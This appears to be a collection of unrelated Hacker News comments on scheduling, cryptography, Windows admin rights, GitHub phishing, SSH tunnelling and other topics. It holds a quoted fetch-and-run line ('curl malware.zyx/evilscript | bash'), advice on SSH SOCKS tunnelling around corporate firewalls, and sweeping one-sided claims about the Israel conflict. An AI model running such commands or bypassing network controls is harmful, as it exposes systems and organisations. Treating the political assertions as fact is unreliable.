skysight-inc/HackerNews huggingface dataset:
I would not expect lower FPS, because the amount of available CPU does not materially change. I would expect higher latency, because RT threads would more often scheduled ahead of other threads.
What are other cross platform (as in cross-GPU) tools other than RenderDoc that can show GPU debug info?

I found Microsoft Pix, but it's not very useful for Vulkan except showing some performance counters.
One one hand, I can see the captcha is easy to fall for. On the other, nothing says "prove you aren't a machine" like "run this code that a machine could easily run."
Bahahaha :)
It's a bit different from normal electrical outlets though. For DC fast charging, it needs to negotiate exact DC voltages. The dispensers are all designed to operate at a range of DC voltages to match the state of the battery and are constantly adapting to the battery.

In AC charging, the chargers are probably just designed to be way more tolerant of a wide range of input AC voltages.

So in those instances a purely passive adapter works fine. Or probably a cheap-ish retrofit of the outlet in the car since I doubt many cars go on intercontinental voyages very often.

And that's kind of the thing. The extreme majority of cars aren't going to go past their original target market continent. Taking a car from one continent to another often involves a lot of import duties, inspections, regulations modifications, and is generally very expensive.

Meanwhile with regular home devices you usually need to be sure you're supplying the right voltage as most home devices can't deal with other voltages. So adapters are more complicated and improper adapting is disastrous. Lots of things are small enough and unregulated enough to send through the post or carried on an airplane. It's a much more common hassle trying to plug in a shaver when travelling than figuring out what to do with the car you packed in your carryon.
> … by 1 like in curl malware.zyx/evilscript | bash.

Making the script POSIX compliant would allow hacking computers without bash. Then you can pipe it into just “sh” which is guaranteed to be on the PATH.
Glad I’m not the only one thinking about POSIX compliance!
If the real motivation for people wanting AM radio gone is due to conservative talk, people are likely overestimating the ratings these stations bring in. It’s the exception, rather than the rule, for one of these stations to perform well. Most conservative talk stations barely attract local advertising, except in a few limited categories like “guns.” I know of more conservative talk stations that are struggling to stay afloat than those that are not.
The author mentions HMAC at the end. I think HMAC is really an underrated technique. I remember reading Colin Percival's classic Cryptographic Right Answers[0] and saw a section about "symmetric signatures." I pondered to myself what scheme I could use for that before I looked at the answer: of course it's just HMAC. I feel like this is another perspective that ought to be more widely known: if you want something to be like a signature, but the two parties (or just a single party at different times) can share a key, HMAC really is the right answer. Things like, a server needs to cryptographically sign a cookie to prevent tempering: that's HMAC. Or a server needs to know an API request is coming from an expected client: that's also HMAC.

[0]: https://www.daemonology.net/blog/2009-06-11-cryptographic-ri...
> GitHub scam reports are so very unsatisfying (weeks go by, then random email about how they took some action).

Either you’re unlucky or I’m lucky, I’ve reported scammers to GitHub multiple times and always got a response in a couple of hours.
>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?

You say it's a problem, I say it is a virtue.

We can "root" Windows because we are root, specifically a user in the Administrators group because the first user account configured by Windows Setup is always an administrator account.

This is a virtue. We can do whatever we want with the computer we own and use. This is freedom par excellence that literally every other operating system family today wishes they could do without getting shouted down.

In an era of increasingly locked down operating systems that prevent us from truly owning our computers, administering them, Windows just lets us do that. I hope to god this never changes.
Genetic tracing of market wildlife and viruses at epicenter of Covid-19 pandemic
Got it. CI/CD tools coming up often as a possible solve. Time to do some YT vids!

Appreciate the guidance on credentials, fully agree on using a vault.
You have to pay 2x for multi-AZ or you get downtime for upgrades. And DB major version upgrades require manual effort unless you want to roll the dice on their new blue-green feature, which can take hours to fail or finish cutting over.
Hi.. Check out the diagrams here: https://www.nathanhandy.blog/articles/osi-model-revisited.ht... .. obviously this is only a static conceptual representation. Most network vendors will have some form of visual representation of traffic, but it's tyipcally only discreet metrics / graphs.
Right, you shouldn't expect traffic that goes outside the onion network to be secure and anonymous. That's the entire point of onion sites.
What is the time from a GPIO transition to when the 1st instruction of my service routine executes?
Death to whataboutism.

This tired reply can't be used as rebuttal to any & everything. Eye for an eye is no praxis at all.
Font Awesome been available since 2013 at least, featuring brand icons https://web.archive.org/web/20130608045113/http://fontawesom...

Seems fine
> Israel controls the water supply in Gaza.

1. That is a completely different subject - Beirut is in Lebanon, not Gaza.

2. Israel _supplies_ Gaza with water. So Israel controls the water supply in Gaza just like your own water company supplies you with water. And if you were to walk into the offices of the water company and burn the workers' children to death and murder them and kidnap them, well, don't be surprised if they turn off your water supply.
> In text form (link altered for your safety)

Might want to change the image too, macOS recognises the link in that and makes it clickable. I’d say that’s more dangerous than modifying it in the text of the post, you could just as well include a non-clickable text link.
You may enjoy the _Chelsea Hotel Oral Sex Song_: https://youtu.be/tKNXude-qqc?feature=shared
Pocket is not part of Recommended Extensions. List here:

https://addons.mozilla.org/en-US/firefox/search/?promoted=re...
USB to Parallel are common. so, easy.
Alternatively: https://github.com/simple-icons/simple-icons
If New Mexico wins, will any person be held responsible? Or will Snapchat pay a fine and move on?
Microsoft launches a Windows app for iPhones, Macs, and Android devices
Look out Moore's Law!

Instead of doubling transistors every two years, look out, new Sheriff in town -- Gelsinger's law : the staff roster halves every two years!

We predict in the coming decades, Intel will consist of a single CEO producing microchips with over a quintillion transistors!
> This is a virtue. We can do whatever we want with the computer we own and use.

You certainly don't need to do it with a single line of powershell though. At least, not without intentionally opting into it. For the most part on a daily basis I just want to use my computer, not modify it.

Anyway, at the very least most functionality should be sandboxed so that if someone does something without your consent, it can't do much damage. Though this wasn't the original intention, leveraging user privileges and sandboxing applications by user is an effective way to do this.

Besides what kind of moron would choose proprietary software if they wanted control of their machine? It's inherently a contradictory impulse.
Some magazines have been able to maintain quality better than others. Especially if there was outside funding from someone who had a real connection/passion. I'm not sure there was anyone at the helm of Forbes who cared at that point.
Brilliant work team, great to see this being launched.
Apple Watch can now replace your TV remote
Paranoid is subjective. Assassination attempts are commonplace now.
Yeah, not just OpenCL, but even "newer" standards like WebGPU. I considered making a blog post where I just put the two hello worlds side-by-side and say nothing else.

I was severely disappointed after seeing people praise WebGPU (I believe for being better than OpenGL).

As for the platform-agnostic bytecode, that's where something like MLIR would work too (kind of). But we could also simply just start with transpiling that bytecode into CUDA/PTX.

Better UX with wider platform compatibility: CuPy, Triton.
There's some difference between user space and kernel. I don't have much experience in the kernel, but I feel like it's more about making sure tasks are preemptable.

In user space it's often about complexity and guarantees: for example, you really try not to do mallocs in a real-time thread in user space, because it's a system call that will only return in an unpredictable amount of time. Better to preallocate buffers or use the stack. Same for opening files, or stuff like that -- you want to avoid variable time syscalls and do them at thread / application setup.

Choice of algorithms needs to be such that for whatever n you're working with, that it can be processed inside of one sample generation interal. I'm mostly familiar with audio -- e.g. if you're generating audio at 44100 Hz, you need your algorithms to be able to process chunks in less than 22 microseconds.
I think you're right that IBM is considering in particular the most effective cost savings strategy. And it happens that older people are more effective in cost reduction. But that's not ageism.
I would like to see more tools iterate on trying to do terraform-like output because while terraform diffs are interesting, practically most of my teammates couldn’t tell what the fuck they said and a couple times I missed important lines that caused us prod issues. I think we can do a better job than showing a wall of text.
There is always a personal statement and they matter.
At the moment it is in my office monitoring a temperature readout that is hosted by a web server and then turning on the ceiling fan if it gets > 80F and turns it off again if the temperature drops below 75F.
Kolmogorov, turing, and church would be proud of you, as with anyone that did similar :')
Available in .mobi format.
Current Recommended Extensions here: https://addons.mozilla.org/en-US/firefox/search/?promoted=re...

What is your pick? Self-promotion OK if honest and disclosed.

Mine would be LibRedirect: https://addons.mozilla.org/en-US/firefox/addon/libredirect/
SSH tunnelling is an utter necessity in the ridiculous corporate environment I work in. Incredible amounts of bureaucracy and sometimes weeks of waiting to get access to stuff, get ports opened, get some exception in their firewalls and vpn so someone can access a thing they need to do their job.

This guide mentions -D but doesn't really articulate quite how powerful it is if you don't know what it does.

ssh -D 8888 someserver, set your browser's SOCKS proxy to localhost:8888 (firefox still lets you set this without altering system defaults). Now all your browser's traffic is routed via someserver.

I find that to be incredibly useful.
Nike names former executive Elliott Hill as CEO
Yes, RF (radio frequency) remotes I've seen include my garage door opener, some overhead fans in bedrooms, gates, remote outlet/light controllers.
80% of the post mortems I’ve been in are caused by someone insisting on removing safety processes we had all agreed to. All you can do is get that shit in writing beforehand so someone is accountable, and resist the (reasonable) urge to yell I told you so afterwards because that will get you fired. Suggest that there needs to be process involved in changing established processes and then the lazy/unsafe way becomes more work.

Or to put it more in terms of Dekker and Rasmussen, there’s a gradient towards least effort and a gradient towards higher efficiency and that’s almost all there is to work with at a systems level. Safety/quality culture can’t really operate in terms of “look, this is the virtuous way you’re ignoring here!”
If you happen to be familiar with the MBTA, the opening is a treat.
This video kinda hits differently after the exploding beepers.
That complex history goes back to the 7th century. Feel free to ask me anything about it - I'm not an expert but I've spent the past year and a half learning Arabic language and learning both their and our own history here. I'll try to give you as balanced an answer as I can.

You are right - the conflict in Lebanon is related to the conflict in Gaza. That is because despite efforts to frame the conflict as "Israel against 2 million poor Palestinians" the real conflict is "2 billion Muslims against Israel". Every time we have a conflict with one of them, the others jump in to attack us. What's worse, they deliberately keep the Palestinians impoverished and suffering to fester conflict - they say this blatantly. The Palestinian cause is not about creating a state to care for the Palestinian people. The Palestinian cause is about creating an Islamic state to displace the Jewish state, and the Palestinian people are the tool to use to pressure the Jewish state and other interested states. They say this clearly - both the Palestinians and the other Arab nations. But that line is so different from Western line of thinking that I know you find it incredible. I implore you to simply read what they themselves say.
"I could see junior developers falling for this" - I can see all sorts fucking up, not just juniors. It is the way of things.

"I don't think that...". I think that you have to train your troops effectively in what is harmfull.

"Windows" - yes. I have been asked by at least two of my employees to get them away from Windows. I'll do my best. Its been a long running project but I will succeed.
It's come to fascinate me how modern medicine is simultaneously miracle-performing and devastatingly primitive. We can repair tiny structures, regrow organs, eradicate diseases from existence.
And yet, you could fall unwell with something like ME/CFS which ruins your life, and medicine has literally nothing to give. A total blind spot.

Perhaps a reality check that the human body is immensely complex, and medicine is not magic. We've just been doing our best all along, and we need to continue doing so with support for medicine and science.
Hey Zack just checked out your linked-in and honestly it would be worth contacting a professional resume specialist. You have a double Bachelor in CS/EE and tons of relevant experience. A wordsmith could make you look like gold on paper. Grab the book ‘Cracking the Coding Interview’, do some leetcod practice. If you can grab a couple Google Cloud certs great and/or build a web app with the latest version of Angular, Next.js, whatever so you can update your tech stack perfect. Not sure why you believe C++ is not relevant anymore the concepts have not changed only the syntax.

Like others have said, just some random on the internet, but at a minimum seriously find a wordsmith to update that resume and some recruiter will be contacting you. Also, more is not better no need to list the Test Tech or Mac Repair since other jobs overlap with those years and makes it seem like you were only part time. Everyone fibs a little bit no one is going to ask if you were part time or full time on a job from 20 years ago. Also, if you have self-employed listed make sure you have the tax# and LLC cert from the state as they are going to want to see that as proof to count as relevant experience.

I know you did not ask for my advice, but after reading your reply got me curious about why so gloom. As programmers we need to market ourselves and fake it till, we make it.
"just because you're paranoid don't mean they're not after you"
I live opposite the police station. Every time they drive away with sirens on I’m curious where they go.

This inspired me the solve my curiosity.
No it isn't. Package managers verify the cryptographically signed package. That means the package can be built on a secure server, and then if a mirror becomes malicious or gets compromised, the malicious package won't have a valid signature so the package will not be installed. Running curl and piping it into sh means that not only could a malicious mirror or compromised server execute anything they want on your computer, but they could even send a different script when you curl it into sh vs when you view it any other way, making it much harder to detect[0].

[0] https://web.archive.org/web/20240213030202/https://www.idont...
Just what I needed today. Thank you!
Data Debunked: https://x.com/TaylorOgan/status/1835614661829677347
> there is often a good value proposition to the customer in these cases i.e spend $7 a month on a paid VPN service or get a free one in return for exchanging a small amount of bandwidth which has zero marginal cost.

Until someone sends bomb threats or downloads child porn via your IP....
Hedge Fund Two Sigma Is in Settlement Talks with SEC
Magic? Well, here's some: predictably fast interrupts, critical sections where you code cannot be preempted, but with a watchdog so if your code hits an infinite loop it's restarted, no unpredictable memory allocation delays, no unexpected page fault delays, things like that.

These are relatively easy to obtain on an MCU, where there's no virtual memory, physical memory is predictable (if slow), interrupt hardware is simple, hardware watchdogs are a norm, an normally there's no need for preemptive multitasking.

But when you try to make it work in a kernel that supports VMM, kernel / userland privilege separation, user sessions separation, process separation, preemptive multitasking, and has to work on hardware with a really complex bus and a complex interrupt controller, — well, here's where magic begins.
I’m assuming there are guidelines as to when this conversion happens and how often. Must make itemized invoices lots of fun. Specially when you have returns or cancellations
In essence it is what you mentioned, these are a few practical uses:

- Streaming region locked content from overseas.

- Permanent reverse-tunnel for remote-access with autossh.

- Increased security compared to making services visible to the internet.

- Downloading scientific articles using my university's connection as a proxy.
Can be summarized with: Don't click on links in email.

So is github-scanner.com (and github-scanner.shop) still the same malicious party? It seems to be. Funny that their DNS is hosted by Cloudflare (who, famously, don't host anything, because they think we're all dumb). Cloudflare, who take responsibility for nothing, has no way to report this kind of abuse to them.

The domain which hosts the malware, 2x.si, both uses Cloudflare for DNS and is hosted by Cloudflare. At least it's possible to report this to Cloudflare, even though they rate limit humans and have CAPTCHAs on their abuse reporting forms.

Sigh. Thanks to Cloudflare, it's trivial these days to host phishing and malware.
>That said, naive people might be surprised when their IP starts getting blocked.

Or law enforcement shows up at their door because their IP is involved in a bunch of illegal stuff.
Intuitive Machines Receives NASA Contract Worth Nearly $5B
I would have read the article, but after a few nag-popups and ads, my laptop fan kicked on, so I closed it. Space.com is one of the few websites I care about that I would like to be a bit more browser-friendly.
http://www.rossbencina.com/code/real-time-audio-programming-...

Audio-centric, but will you give a feel for what's involved.
I think you demonstrated the exact purpose of the attack.

Mossad doesn't kill fo fun, they kill to prevent others from killing them.

So yes, they can now sleep at night thanks to this attack.
Tell that to every single ISP and Cell provider.
While we're here: what happened to the GitHub explore newsletter?
I really enjoyed this, but I've stopped receiving it for a few months now. And I don't think I unsubscribed.
No they haven’t, they’ve been trained to do

curl https://url-of-well-known-project | sh

I may not trust the owners of a random domain, but I certainly trust the owners of rustup.rs not to do anything intentionally malicious.
This is what happened to mine. I flashed Momentum, got Maurader and a wifi dev board, did the "all the pcaps!" thing for a bit, opened some garage doors, then used it to clock in at work for no reason.

Then I went to go sell it and found out you can't list them on eBay or FB Marketplace. Not sure how to go about selling or trading one beyond those types of places, either, so I basically have a pricey dust collector in a drawer.
Gmail is one, not making money, and two is mostly showing text files that already exist.

Is gmail viable as a standalone company?
In general, popular YouTube videos are low quality and too long. I also assume it’s just something the algorithm put into someone’s feed, not anything particularly exceptional or interesting.
The fact that you're willing to entertain this request is rather telling.
Yes, which is why complaining about curl | sh is silly.
X and Starlink face $1M in daily fines for alleged ban evasion in Brazil
Show HN: AI Comic Generator
>There could be a regulating body which could determine the risk to people's mental health for example from 'features' of tech companies etc.

I think ideas like this is why it's not going to happen.

Our understanding of mental health is garbage. Psychiatry used to be full of quackery and very well still might be. Treatment for something like depression boils down to "let's try drug in a random order until one works". It's a field where a coin-flip rivals the accuracy of studies. Therefore any regulating body on that will just be political. It will be all about the regulators "doing something" because somebody wrote enough articles (propaganda).

Problems like this are why people aren't interested in supporting such endeavors.
A modern and easy-to-use client for Ollama in Flutter
Slightly tangential, but it is outrageous that high school math classes require their students to buy these expensive calculators. The educational benefit that they supposedly provide eludes me.
Gargantuan Black Hole Jets Are Biggest Seen Yet
An employee of one proxy network describes that exact business model here:

https://news.ycombinator.com/item?id=41597315
The title is so biased...why would I click that link? Futurism.com is all about clicks.
Plot twist: the very memory may be connected via SPI.
If they really care about it they can just change their name though.
It isn't a good idea to circumvent corporate environment networks. they're there for a reason, and doing it shows a lack of professionalism and dis-respect for the organization process, procedures, and security. Yes it takes weeks/months to get access, then it takes weeks/months to get access. You don't want to be held liable for opening a backdoor to confidential information, or compromising their security.
> One side is a terrorist organization. The other side is a self proclaimed most moral army of the world. I’m sorry that I don’t put these both on equal footing. Are you suggesting I should?

Yes, I am suggesting that you judge our enemies by the same standing that you judge Israel. Why hold them to a lower standard? Do you have such disrespect for them?
GrapheneOS pushes hard for remote attestation though.